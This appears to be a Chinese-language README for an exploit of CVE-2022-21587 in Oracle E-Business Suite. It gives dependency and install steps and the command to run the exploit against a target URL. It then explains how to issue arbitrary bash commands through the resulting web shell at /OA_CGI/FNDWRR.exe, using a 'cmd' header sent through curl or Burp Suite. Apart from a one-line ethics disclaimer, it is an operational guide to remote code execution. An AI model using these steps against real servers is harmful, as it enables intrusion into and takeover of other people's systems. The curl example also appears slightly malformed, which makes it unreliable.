CVE-2022-21587-Oracle-EBS-

运行此漏洞利用程序的前提条件：

• python3 包含模块（requests、os、sys、slipit）
• uuencode

在运行之前，请确保仅将其用于符合道德的用途。

如果漏洞利用程序运行失败：

• 请确保你已经安装了前置依赖模块

安装 requests

• pip3 install requests

• 安装 slipit，git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• 安装 uuencode

  • sudo apt install sharutils

• 用法：python3 exploit.py http://target.com

  • 随后 shell 会弹出，或者你也可以使用 curl 或 Web 代理工具（burpsuite）来执行 shell
  • 使用 curl：curl -k https://target/OA_CGI/FNDWRR.exe -h 'cmd: whoami'
  • 使用 burpsuite：只需在请求头中添加 cmd，并附带任意你想要执行的 bash 载荷